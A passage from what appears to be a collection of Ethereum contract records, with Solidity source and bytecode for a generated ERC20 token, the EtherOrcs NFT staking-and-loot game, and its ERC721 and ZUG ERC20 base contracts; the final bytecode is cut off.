_allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor(string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/HelloERC20.sol pragma solidity ^0.8.0; /** * @title HelloERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the HelloERC20 */ contract HelloERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.1.0") { constructor( string memory name_, string memory symbol_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ServicePayer(feeReceiver_, "HelloERC20") { _mint(_msgSender(), 10000e18); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e9919061084a565b60405180910390f35b610105610100366004610820565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e4565b6102a4565b604051601281526020016100e9565b610105610157366004610820565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab366004610820565b6103cf565b6101056101be366004610820565b61046a565b6101196101d13660046107b1565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108ce565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108ce565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b7565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a90869061089f565b60606005805461020b906108ce565b60606040518060600160405280602f8152602001610920602f9139905090565b60606004805461020b906108ce565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b7565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b7565b6001600160a01b03808616600090815260208190526040808220939093559085168152908120805484929061071990849061089f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a157600080fd5b6107aa82610773565b9392505050565b600080604083850312156107c457600080fd5b6107cd83610773565b91506107db60208401610773565b90509250929050565b6000806000606084860312156107f957600080fd5b61080284610773565b925061081060208501610773565b9150604084013590509250925092565b6000806040838503121561083357600080fd5b61083c83610773565b946020939093013593505050565b600060208083528351808285015260005b818110156108775785810183015185820160400152820161085b565b81811115610889576000604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108b2576108b2610909565b500190565b6000828210156108c9576108c9610909565b500390565b600181811c908216806108e257607f821691505b6020821081141561090357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a2646970667358221220185c29d084d2185dbff6d17cde8a634e85ba271fa57d814bb34819b8af56542664736f6c63430008050033
[ 38 ]
0xf232EaF0fD2CDA35a4878D018Ca47e3D46Cdb5be
// SPDX-License-Identifier: Unlicense pragma solidity 0.8.7; import "./ERC20.sol"; import "./ERC721.sol"; // ___ _ _ ___ // | __| |_| |_ ___ _ _ / _ \ _ _ __ ___ // | _|| _| ' \/ -_) '_| | (_) | '_/ _(_-< // |___|\__|_||_\___|_| \___/|_| \__/__/ // interface MetadataHandlerLike { function getTokenURI(uint16 id, uint8 body, uint8 helm, uint8 mainhand, uint8 offhand, uint16 level, uint16 zugModifier) external view returns (string memory); } contract EtherOrcs is ERC721 { /*/////////////////////////////////////////////////////////////// Global STATE //////////////////////////////////////////////////////////////*/ uint256 public constant cooldown = 10 minutes; uint256 public constant startingTime = 1633951800 + 4.5 hours; address public migrator; bytes32 internal entropySauce; ERC20 public zug; mapping (address => bool) public auth; mapping (uint256 => Orc) public orcs; mapping (uint256 => Action) public activities; mapping (Places => LootPool) public lootPools; uint256 mintedFromThis = 0; bool mintOpen = false; MetadataHandlerLike metadaHandler; function setAddresses(address mig, address meta) external onlyOwner { migrator = mig; metadaHandler = MetadataHandlerLike(meta); } function setAuth(address add, bool isAuth) external onlyOwner { auth[add] = isAuth; } function transferOwnership(address newOwner) external onlyOwner{ admin = newOwner; } function setMintable(bool val) external onlyOwner { mintOpen = val; } function tokenURI(uint256 id) external view returns(string memory) { Orc memory orc = orcs[id]; return metadaHandler.getTokenURI(uint16(id), orc.body, orc.helm, orc.mainhand, orc.offhand, orc.level, orc.zugModifier); } event ActionMade(address owner, uint256 id, uint256 timestamp, uint8 activity); /*/////////////////////////////////////////////////////////////// DATA STRUCTURES //////////////////////////////////////////////////////////////*/ struct LootPool { uint8 minLevel; uint8 minLootTier; uint16 cost; uint16 total; uint16 tier_1; uint16 tier_2; uint16 tier_3; uint16 tier_4; } struct Orc { uint8 body; uint8 helm; uint8 mainhand; uint8 offhand; uint16 level; uint16 zugModifier; uint32 lvlProgress; } enum Actions { UNSTAKED, FARMING, TRAINING } struct Action { address owner; uint88 timestamp; Actions action; } // These are all the places you can go search for loot enum Places { TOWN, DUNGEON, CRYPT, CASTLE, DRAGONS_LAIR, THE_ETHER, TAINTED_KINGDOM, OOZING_DEN, ANCIENT_CHAMBER, ORC_GODS } /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ // function initialize() public onlyOwner { // } /*/////////////////////////////////////////////////////////////// MODIFIERS //////////////////////////////////////////////////////////////*/ modifier noCheaters() { uint256 size = 0; address acc = msg.sender; assembly { size := extcodesize(acc)} require(auth[msg.sender] || (msg.sender == tx.origin && size == 0), "you're trying to cheat!"); _; // We'll use the last caller hash to add entropy to next caller entropySauce = keccak256(abi.encodePacked(acc, block.coinbase)); } modifier ownerOfOrc(uint256 id) { require(ownerOf[id] == msg.sender || activities[id].owner == msg.sender, "not your orc"); _; } modifier onlyOwner() { require(msg.sender == admin); _; } /*/////////////////////////////////////////////////////////////// PUBLIC FUNCTIONS //////////////////////////////////////////////////////////////*/ function mint() public noCheaters returns (uint256 id) { uint256 cost = _getMintingPrice(); uint256 rand = _rand(); require(address(zug) != address(0) && mintOpen); if (cost > 0) zug.burn(msg.sender, cost); return _mintOrc(rand); } // Craft an identical orc from v1! function craft(address owner_, uint256 id, uint8 body, uint8 helm, uint8 mainhand, uint8 offhand, uint16 level, uint32 lvlProgres) public { require(msg.sender == migrator); _mint(owner_, id); uint16 zugModifier = _tier(helm) + _tier(mainhand) + _tier(offhand); orcs[uint256(id)] = Orc({body: body, helm: helm, mainhand: mainhand, offhand: offhand, level: level, lvlProgress: lvlProgres, zugModifier:zugModifier}); } function doAction(uint256 id, Actions action_) public ownerOfOrc(id) noCheaters { _doAction(id, msg.sender, action_); } function _doAction(uint256 id, address orcOwner, Actions action_) internal { Action memory action = activities[id]; require(action.action != action_, "already doing that"); // Picking the largest value between block.timestamp, action.timestamp and startingTime uint88 timestamp = uint88(block.timestamp > action.timestamp ? block.timestamp : action.timestamp); if (action.action == Actions.UNSTAKED) _transfer(orcOwner, address(this), id); else { if (block.timestamp > action.timestamp) _claim(id); timestamp = timestamp > action.timestamp ? timestamp : action.timestamp; } address owner_ = action_ == Actions.UNSTAKED ? address(0) : orcOwner; if (action_ == Actions.UNSTAKED) _transfer(address(this), orcOwner, id); activities[id] = Action({owner: owner_, action: action_,timestamp: timestamp}); emit ActionMade(orcOwner, id, block.timestamp, uint8(action_)); } function doActionWithManyOrcs(uint256[] calldata ids, Actions action_) external { for (uint256 index = 0; index < ids.length; index++) { _doAction(ids[index], msg.sender, action_); } } function claim(uint256[] calldata ids) external { for (uint256 index = 0; index < ids.length; index++) { _claim(ids[index]); } } function _claim(uint256 id) internal noCheaters { Orc memory orc = orcs[id]; Action memory action = activities[id]; if(block.timestamp <= action.timestamp) return; uint256 timeDiff = uint256(block.timestamp - action.timestamp); if (action.action == Actions.FARMING) zug.mint(action.owner, claimableZug(timeDiff, orc.zugModifier)); if (action.action == Actions.TRAINING) { uint256 progress = (timeDiff * 3000 / 1 days ) + orcs[id].lvlProgress; orcs[id].lvlProgress = uint16(progress % 1000); orcs[id].level += uint16(progress / 1000); } activities[id].timestamp = uint88(block.timestamp); } function pillage(uint256 id, Places place, bool tryHelm, bool tryMainhand, bool tryOffhand) public ownerOfOrc(id) noCheaters { require(block.timestamp >= uint256(activities[id].timestamp), "on cooldown"); require(place != Places.ORC_GODS, "You can't pillage the Orc God"); require(mintOpen); if(activities[id].timestamp < block.timestamp) _claim(id); // Need to claim to not have equipment reatroactively multiplying uint256 rand_ = _rand(); LootPool memory pool = lootPools[place]; require(orcs[id].level >= uint16(pool.minLevel), "below minimum level"); if (pool.cost > 0) { require(block.timestamp - startingTime > 16 days); zug.burn(msg.sender, uint256(pool.cost) * 1 ether); } uint8 item; if (tryHelm) { ( pool, item ) = _getItemFromPool(pool, _randomize(rand_,"HELM", id)); if (item != 0 ) orcs[id].helm = item; } if (tryMainhand) { ( pool, item ) = _getItemFromPool(pool, _randomize(rand_,"MAINHAND", id)); if (item != 0 ) orcs[id].mainhand = item; } if (tryOffhand) { ( pool, item ) = _getItemFromPool(pool, _randomize(rand_,"OFFHAND", id)); if (item != 0 ) orcs[id].offhand = item; } if (uint(place) > 1) lootPools[place] = pool; // Update zug modifier Orc memory orc = orcs[id]; uint16 zugModifier_ = _tier(orc.helm) + _tier(orc.mainhand) + _tier(orc.offhand); orcs[id].zugModifier = zugModifier_; activities[id].timestamp = uint88(block.timestamp + cooldown); } function update(uint256 id) public ownerOfOrc(id) noCheaters { require(_tier(orcs[id].mainhand) < 10); require(block.timestamp - startingTime >= 16 days); require(mintOpen); LootPool memory pool = lootPools[Places.ORC_GODS]; require(orcs[id].level >= pool.minLevel); zug.burn(msg.sender, uint256(pool.cost) * 1 ether); _claim(id); // Need to claim to not have equipment reatroactively multiplying uint8 item = uint8(lootPools[Places.ORC_GODS].total--); orcs[id].zugModifier = 30; orcs[id].body = orcs[id].helm = orcs[id].mainhand = orcs[id].offhand = item + 40; } function doActionSpecial(uint256 id, address orcOwner, uint256 timestamp, uint8 action_) external { require(msg.sender == migrator); _transfer(orcOwner, address(this), id); activities[id] = Action({owner: orcOwner, action: Actions(action_),timestamp: uint88(timestamp)}); emit ActionMade(orcOwner, id, block.timestamp, uint8(action_)); } function adjustTimestamp() external onlyOwner { activities[3189].timestamp = 1634537278; activities[4211].timestamp = 1634553323; activities[4263].timestamp = 1634542710; activities[4307].timestamp = 1634527428; activities[4323].timestamp = 1634544664; activities[4335].timestamp = 1634532623; activities[4338].timestamp = 1634525118; activities[4341].timestamp = 1634560388; } function manuallyAdjustOrc(uint256 id, uint8 body, uint8 helm, uint8 mainhand, uint8 offhand, uint16 level, uint16 lvlProgress) external { require(msg.sender == admin || auth[msg.sender], "not authorized"); orcs[id].body = body; orcs[id].helm = helm; orcs[id].mainhand = mainhand; orcs[id].offhand = offhand; orcs[id].level = level; orcs[id].lvlProgress = lvlProgress; uint16 zugModifier_ = _tier(helm) + _tier(mainhand) + _tier(offhand); orcs[id].zugModifier = zugModifier_; } function burnZugFor(address user, uint256 amount) external { require(msg.sender == admin || auth[msg.sender], "not authorized"); zug.burn(user, amount); } function mintZugFor(address user, uint256 amount) external { require(msg.sender == admin || auth[msg.sender], "not authorized"); zug.mint(user, amount); } /*/////////////////////////////////////////////////////////////// VIEWERS //////////////////////////////////////////////////////////////*/ function claimable(uint256 id) external view returns (uint256 amount) { uint256 timeDiff = block.timestamp > activities[id].timestamp ? uint256(block.timestamp - activities[id].timestamp) : 0; amount = activities[id].action == Actions.FARMING ? claimableZug(timeDiff, orcs[id].zugModifier) : timeDiff * 3000 / 1 days; } function name() external pure returns (string memory) { return "Ether Orcs Genesis"; } function symbol() external pure returns (string memory) { return "Orcs"; } /*/////////////////////////////////////////////////////////////// MINT FUNCTION //////////////////////////////////////////////////////////////*/ function _mintOrc(uint256 rand) internal returns (uint16 id) { (uint8 body,uint8 helm,uint8 mainhand,uint8 offhand) = (0,0,0,0); { // Helpers to get Percentages uint256 sevenOnePct = type(uint16).max / 100 * 71; uint256 eightyPct = type(uint16).max / 100 * 80; uint256 nineFivePct = type(uint16).max / 100 * 95; uint256 nineNinePct = type(uint16).max / 100 * 99; id = uint16(oldSupply + minted++ + 1); // Getting Random traits uint16 randBody = uint16(_randomize(rand, "BODY", id)); body = uint8(randBody > nineNinePct ? randBody % 3 + 25 : randBody > sevenOnePct ? randBody % 12 + 13 : randBody % 13 + 1 ); uint16 randHelm = uint16(_randomize(rand, "HELM", id)); helm = uint8(randHelm < eightyPct ? 0 : randHelm % 4 + 5); uint16 randOffhand = uint16(_randomize(rand, "OFFHAND", id)); offhand = uint8(randOffhand < eightyPct ? 0 : randOffhand % 4 + 5); uint16 randMainhand = uint16(_randomize(rand, "MAINHAND", id)); mainhand = uint8(randMainhand < nineFivePct ? randMainhand % 4 + 1: randMainhand % 4 + 5); } _mint(msg.sender, id); uint16 zugModifier = _tier(helm) + _tier(mainhand) + _tier(offhand); orcs[uint256(id)] = Orc({body: body, helm: helm, mainhand: mainhand, offhand: offhand, level: 0, lvlProgress: 0, zugModifier:zugModifier}); } /*/////////////////////////////////////////////////////////////// INTERNAL HELPERS //////////////////////////////////////////////////////////////*/ /// @dev take an available item from a pool function _getItemFromPool(LootPool memory pool, uint256 rand) internal pure returns (LootPool memory, uint8 item) { uint draw = rand % pool.total--; if (draw > pool.tier_1 + pool.tier_2 + pool.tier_3 && pool.tier_4-- > 0) { item = uint8((draw % 4 + 1) + (pool.minLootTier + 3) * 4); return (pool, item); } if (draw > pool.tier_1 + pool.tier_2 && pool.tier_3-- > 0) { item = uint8((draw % 4 + 1) + (pool.minLootTier + 2) * 4); return (pool, item); } if (draw > pool.tier_1 && pool.tier_2-- > 0) { item = uint8((draw % 4 + 1) + (pool.minLootTier + 1) * 4); return (pool, item); } if (pool.tier_1-- > 0) { item = uint8((draw % 4 + 1) + pool.minLootTier * 4); return (pool, item); } } function claimableZug(uint256 timeDiff, uint16 zugModifier) internal pure returns (uint256 zugAmount) { zugAmount = timeDiff * (4 + zugModifier) * 1 ether / 1 days; } /// @dev Convert an id to its tier function _tier(uint16 id) internal pure returns (uint16) { if (id == 0) return 0; return ((id - 1) / 4 ); } /// @dev Create a bit more of randomness function _randomize(uint256 rand, string memory val, uint256 spicy) internal pure returns (uint256) { return uint256(keccak256(abi.encode(rand, val, spicy))); } function _rand() internal view returns (uint256) { return uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.basefee, block.timestamp, entropySauce))); } function _getMintingPrice() internal view returns (uint256) { uint256 supply = minted + oldSupply; if (supply < 4550) return 80 ether; return 175 ether; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity 0.8.7; /// @notice Modern and gas efficient ERC-721 + ERC-20/EIP-2612-like implementation, /// including the MetaData, and partially, Enumerable extensions. contract ERC721 { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed spender, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /*/////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ address implementation_; address public admin; //Lame requirement from opensea /*/////////////////////////////////////////////////////////////// ERC-721 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; uint256 public oldSupply; uint256 public minted; mapping(address => uint256) public balanceOf; mapping(uint256 => address) public ownerOf; mapping(uint256 => address) public getApproved; mapping(address => mapping(address => bool)) public isApprovedForAll; /*/////////////////////////////////////////////////////////////// VIEW FUNCTION //////////////////////////////////////////////////////////////*/ function owner() external view returns (address) { return admin; } /*/////////////////////////////////////////////////////////////// ERC-20-LIKE LOGIC //////////////////////////////////////////////////////////////*/ function transfer(address to, uint256 tokenId) external { require(msg.sender == ownerOf[tokenId], "NOT_OWNER"); _transfer(msg.sender, to, tokenId); } /*/////////////////////////////////////////////////////////////// ERC-721 LOGIC //////////////////////////////////////////////////////////////*/ function supportsInterface(bytes4 interfaceId) external pure returns (bool supported) { supported = interfaceId == 0x80ac58cd || interfaceId == 0x5b5e139f; } function approve(address spender, uint256 tokenId) external { address owner_ = ownerOf[tokenId]; require(msg.sender == owner_ || isApprovedForAll[owner_][msg.sender], "NOT_APPROVED"); getApproved[tokenId] = spender; emit Approval(owner_, spender, tokenId); } function setApprovalForAll(address operator, bool approved) external { isApprovedForAll[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } function transferFrom(address, address to, uint256 tokenId) public { address owner_ = ownerOf[tokenId]; require( msg.sender == owner_ || msg.sender == getApproved[tokenId] || isApprovedForAll[owner_][msg.sender], "NOT_APPROVED" ); _transfer(owner_, to, tokenId); } function safeTransferFrom(address, address to, uint256 tokenId) external { safeTransferFrom(address(0), to, tokenId, ""); } function safeTransferFrom(address, address to, uint256 tokenId, bytes memory data) public { transferFrom(address(0), to, tokenId); if (to.code.length != 0) { // selector = `onERC721Received(address,address,uint,bytes)` (, bytes memory returned) = to.staticcall(abi.encodeWithSelector(0x150b7a02, msg.sender, address(0), tokenId, data)); bytes4 selector = abi.decode(returned, (bytes4)); require(selector == 0x150b7a02, "NOT_ERC721_RECEIVER"); } } /*/////////////////////////////////////////////////////////////// INTERNAL UTILS //////////////////////////////////////////////////////////////*/ function _transfer(address from, address to, uint256 tokenId) internal { require(ownerOf[tokenId] == from); balanceOf[from]--; balanceOf[to]++; delete getApproved[tokenId]; ownerOf[tokenId] = to; emit Transfer(msg.sender, to, tokenId); } function _mint(address to, uint256 tokenId) internal { require(ownerOf[tokenId] == address(0), "ALREADY_MINTED"); uint supply = oldSupply + minted; uint maxSupply = 5050; require(supply <= maxSupply, "MAX SUPPLY REACHED"); totalSupply++; // This is safe because the sum of all user // balances can't exceed type(uint256).max! unchecked { balanceOf[to]++; } ownerOf[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal { address owner_ = ownerOf[tokenId]; require(ownerOf[tokenId] != address(0), "NOT_MINTED"); totalSupply--; balanceOf[owner_]--; delete ownerOf[tokenId]; emit Transfer(owner_, address(0), tokenId); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity 0.8.7; /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) /// Taken from Solmate: https://github.com/Rari-Capital/solmate contract ERC20 { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /*/////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public constant name = "ZUG"; string public constant symbol = "ZUG"; uint8 public constant decimals = 18; /*/////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; mapping(address => bool) public isMinter; address public ruler; /*/////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ constructor() { ruler = msg.sender;} function approve(address spender, uint256 value) external returns (bool) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transfer(address to, uint256 value) external returns (bool) { balanceOf[msg.sender] -= value; // This is safe because the sum of all user // balances can't exceed type(uint256).max! unchecked { balanceOf[to] += value; } emit Transfer(msg.sender, to, value); return true; } function transferFrom( address from, address to, uint256 value ) external returns (bool) { if (allowance[from][msg.sender] != type(uint256).max) { allowance[from][msg.sender] -= value; } balanceOf[from] -= value; // This is safe because the sum of all user // balances can't exceed type(uint256).max! unchecked { balanceOf[to] += value; } emit Transfer(from, to, value); return true; } /*/////////////////////////////////////////////////////////////// ORC PRIVILEGE //////////////////////////////////////////////////////////////*/ function mint(address to, uint256 value) external { require(isMinter[msg.sender], "FORBIDDEN TO MINT"); _mint(to, value); } function burn(address from, uint256 value) external { require(isMinter[msg.sender], "FORBIDDEN TO BURN"); _burn(from, value); } /*/////////////////////////////////////////////////////////////// Ruler Function //////////////////////////////////////////////////////////////*/ function setMinter(address minter, bool status) external { require(msg.sender == ruler, "NOT ALLOWED TO RULE"); isMinter[minter] = status; } function setRuler(address ruler_) external { require(msg.sender == ruler ||ruler == address(0), "NOT ALLOWED TO RULE"); ruler = ruler_; } /*/////////////////////////////////////////////////////////////// INTERNAL UTILS //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 value) internal { totalSupply += value; // This is safe because the sum of all user // balances can't exceed type(uint256).max! unchecked { balanceOf[to] += value; } emit Transfer(address(0), to, value); } function _burn(address from, uint256 value) internal { balanceOf[from] -= value; // This is safe because a user won't ever // have a balance larger than totalSupply! unchecked { totalSupply -= value; } emit Transfer(from, address(0), value); } }
0x608060405234801561001057600080fd5b50600436106102735760003560e01c80636ba4c13811610151578063962b2df2116100c3578063c87b56dd11610087578063c87b56dd14610734578063cd5d211814610747578063d1d58b251461076a578063e985e9c51461077d578063f2fde38b146107ab578063f851a440146107be57600080fd5b8063962b2df21461062f578063a22cb465146106e8578063a9059cbb146106fb578063aecc8f521461070e578063b88d4fde1461072157600080fd5b80637cd07e47116101155780637cd07e47146105b257806382ab890a146105c55780638337df90146105d85780638da5cb5b146105eb57806390107afe146105fc57806395d89b411461060f57600080fd5b80636ba4c138146104ad57806370a08231146104c057806376f0d51a146104e0578063787a08a6146104f357806379388c25146104fc57600080fd5b806320cc7750116101ea57806346350479116101ae578063463504791461043a57806347f74fc81461044d5780634f02c4201461045557806352b104a71461045e5780636352211e14610471578063654df23c1461049a57600080fd5b806320cc7750146103e357806323b872dd146103f6578063285d70d41461040957806339518b5e1461041c57806342842e0e1461042757600080fd5b8063095ea7b31161023c578063095ea7b3146103425780630b44a218146103575780630d1657e81461036a5780631249c58b146103bf57806318160ddd146103c75780631c6ac14c146103d057600080fd5b8062f660381461027857806301ffc9a7146102a857806305850844146102cb57806306fdde03146102e2578063081812fc14610319575b600080fd5b600b5461028b906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6102bb6102b63660046136cb565b6107d1565b604051901515815260200161029f565b6102d460035481565b60405190815260200161029f565b6040805180820190915260128152714574686572204f7263732047656e6573697360701b60208201525b60405161029f91906139ed565b61028b610327366004613797565b6007602052600090815260409020546001600160a01b031681565b610355610350366004613553565b610808565b005b610355610365366004613529565b6108ed565b6103b0610378366004613797565b600e602052600090815260409020546001600160a01b03811690600160a01b81046001600160581b031690600160f81b900460ff1683565b60405161029f939291906139a2565b6102d461092f565b6102d460025481565b6103556103de366004613877565b610a64565b6103556103f136600461357d565b610c3f565b610355610404366004613442565b610da2565b6103556104173660046136b0565b610e58565b6102d46361645f8081565b610355610435366004613442565b610e82565b610355610448366004613819565b610ea3565b61035561168b565b6102d460045481565b61035561046c36600461365c565b61183e565b61028b61047f366004613797565b6006602052600090815260409020546001600160a01b031681565b6103556104a8366004613553565b61187e565b6103556104bb36600461361a565b61192d565b6102d46104ce3660046133f4565b60056020526000908152604090205481565b6103556104ee3660046137f6565b61196b565b6102d461025881565b61056461050a366004613797565b600d6020526000908152604090205460ff808216916101008104821691620100008204811691630100000081049091169061ffff600160201b8204811691600160301b81049091169063ffffffff600160401b9091041687565b6040805160ff988916815296881660208801529487169486019490945294909116606084015261ffff908116608084015290921660a082015263ffffffff90911660c082015260e00161029f565b60095461028b906001600160a01b031681565b6103556105d3366004613797565b611a4a565b6103556105e63660046137b0565b611dac565b6001546001600160a01b031661028b565b61035561060a36600461340f565b611eee565b6040805180820190915260048152634f72637360e01b602082015261030c565b61069a61063d366004613705565b600f6020526000908152604090205460ff808216916101008104909116